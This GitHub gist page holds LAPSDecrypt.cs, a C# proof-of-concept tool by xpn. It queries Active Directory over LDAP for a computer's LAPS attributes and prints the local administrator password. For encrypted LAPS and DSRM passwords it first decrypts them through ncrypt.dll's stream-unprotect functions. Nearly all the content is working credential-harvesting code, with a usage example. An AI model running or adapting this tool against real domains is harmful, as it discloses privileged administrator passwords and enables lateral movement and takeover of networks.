Skip to content

Instantly share code, notes, and snippets.

@lex0tanil
Forked from xpn/LAPSDecrypt.cs
Created April 17, 2023 23:37
Show Gist options
  • Save lex0tanil/6595248e1619397aa42d09f436d1cc70 to your computer and use it in GitHub Desktop.
Save lex0tanil/6595248e1619397aa42d09f436d1cc70 to your computer and use it in GitHub Desktop.

Revisions

  1. @xpn xpn created this gist Apr 17, 2023.
    146 changes: 146 additions & 0 deletions LAPSDecrypt.cs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,146 @@
    using System;
    using System.Collections.Generic;
    using System.DirectoryServices.Protocols;
    using System.Globalization;
    using System.Linq;
    using System.Runtime.InteropServices;
    using System.Runtime.InteropServices.ComTypes;
    using System.Security.Policy;
    using System.Text;
    using System.Threading.Tasks;
    using System.Xml.Linq;
    using static LAPSDecrypt.Win32;
    using static System.Net.Mime.MediaTypeNames;

    namespace LAPSDecrypt
    {
    internal class Win32
    {
    [Flags]
    public enum ProtectFlags
    {
    NCRYPT_SILENT_FLAG = 0x00000040,
    }

    [UnmanagedFunctionPointer(CallingConvention.Winapi)]
    public delegate int PFNCryptStreamOutputCallback(IntPtr pvCallbackCtxt, IntPtr pbData, int cbData, [MarshalAs(UnmanagedType.Bool)] bool fFinal);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
    public struct NCRYPT_PROTECT_STREAM_INFO
    {
    public PFNCryptStreamOutputCallback pfnStreamOutput;
    public IntPtr pvCallbackCtxt;
    }

    [Flags]
    public enum UnprotectSecretFlags
    {
    NCRYPT_UNPROTECT_NO_DECRYPT = 0x00000001,
    NCRYPT_SILENT_FLAG = 0x00000040,
    }

    [DllImport("ncrypt.dll")]
    public static extern uint NCryptStreamOpenToUnprotect(in NCRYPT_PROTECT_STREAM_INFO pStreamInfo, ProtectFlags dwFlags, IntPtr hWnd, out IntPtr phStream);

    [DllImport("ncrypt.dll")]
    public static extern uint NCryptStreamUpdate(IntPtr hStream, IntPtr pbData, int cbData, [MarshalAs(UnmanagedType.Bool)] bool fFinal);

    [DllImport("ncrypt.dll")]
    public static extern uint NCryptUnprotectSecret(out IntPtr phDescriptor, UnprotectSecretFlags dwFlags, IntPtr pbProtectedBlob, uint cbProtectedBlob, in IntPtr pMemPara, IntPtr hWnd, out IntPtr ppbData, out uint pcbData);
    }
    internal class Program
    {
    static int delegateCallback(IntPtr pvCallbackCtxt, IntPtr pbData, int cbData, [MarshalAs(UnmanagedType.Bool)] bool fFinal)
    {
    byte[] data = new byte[cbData];
    Marshal.Copy(pbData, data, 0, cbData);
    string str = Encoding.Unicode.GetString(data);

    Console.WriteLine("[*] Password is: {0}", str);

    return 0;
    }

    static void Main(string[] args)
    {
    string[] attributeList = new string[]
    {
    "msLAPS-PasswordExpirationTime",
    "msLAPS-Password",
    "msLAPS-EncryptedPassword",
    "msLAPS-EncryptedPasswordHistory",
    "msLAPS-EncryptedDSRMPassword",
    "msLAPS-EncryptedDSRMPasswordHistory",
    "ms-Mcs-AdmPwd",
    "ms-Mcs-AdmPwdExpirationTime"
    };

    // Parse arguments for DN and DC
    Console.WriteLine("LAPSDecrypt POC by @_xpn_");

    if (args.Length != 2)
    {
    Console.WriteLine("Usage: LAPSDecrypt.exe <DN> <DC>");
    Console.WriteLine("Example: LAPSDecrypt.exe \"CN=CA01,OU=LAPSManaged,DC=lab,DC=local\" \"dc01.lab.local\"");
    return;
    }

    string dn = args[0];
    string dc = args[1];

    string filter = string.Format("(&(objectClass={0})({1}={2}))", "computer", "distinguishedName", dn);

    // Create a new ldap connection
    LdapConnection ldapConnection = new LdapConnection(dc);
    ldapConnection.SessionOptions.ProtocolVersion = 3;
    ldapConnection.Bind();

    SearchRequest searchRequest = new SearchRequest(dn, filter, SearchScope.Base, attributeList);
    SearchResponse searchResponse = ldapConnection.SendRequest(searchRequest) as SearchResponse;
    SearchResultEntry searchResultEntry = searchResponse.Entries[0];
    if (searchResponse.Entries.Count != 1)
    {
    Console.WriteLine("[!] Could not find computer object");
    return;
    }

    foreach (string attVal in searchResultEntry.Attributes.AttributeNames)
    {
    if (StringComparer.InvariantCultureIgnoreCase.Equals(attVal, "msLAPS-PasswordExpirationTime"))
    {
    var expiry = (searchResultEntry.Attributes["msLAPS-PasswordExpirationTime"].GetValues(typeof(string))[0] as string);
    Console.WriteLine("[*] Expiry time is: {0}", expiry);
    }
    else if (StringComparer.InvariantCultureIgnoreCase.Equals(attVal, "msLAPS-Password"))
    {
    var unencryptedPass = (searchResultEntry.Attributes["msLAPS-Password"].GetValues(typeof(string))[0] as string);
    Console.WriteLine("[*] Unencrypted Password: {0}", unencryptedPass);

    } else if (StringComparer.InvariantCultureIgnoreCase.Equals(attVal, "msLAPS-EncryptedPassword"))
    {
    byte[] encryptedPass = (searchResultEntry.Attributes["msLAPS-EncryptedPassword"].GetValues(typeof(byte[]))[0] as byte[]);
    Console.WriteLine("[*] Found encrypted password of length: {0}", encryptedPass.Length);

    Win32.NCRYPT_PROTECT_STREAM_INFO info = new NCRYPT_PROTECT_STREAM_INFO
    {
    pfnStreamOutput = new PFNCryptStreamOutputCallback(delegateCallback),
    pvCallbackCtxt = IntPtr.Zero
    };

    IntPtr handle;

    uint ret = Win32.NCryptStreamOpenToUnprotect(info, ProtectFlags.NCRYPT_SILENT_FLAG, IntPtr.Zero, out handle);
    if (ret == 0)
    {
    IntPtr alloc = Marshal.AllocHGlobal(encryptedPass.Length);
    Marshal.Copy(encryptedPass, 16, alloc, encryptedPass.Length - 16);

    ret = Win32.NCryptStreamUpdate(handle, alloc, encryptedPass.Length - 16, true);
    Console.WriteLine("[*] Decrypted Password");
    }

    }
    }
    }
    }
    }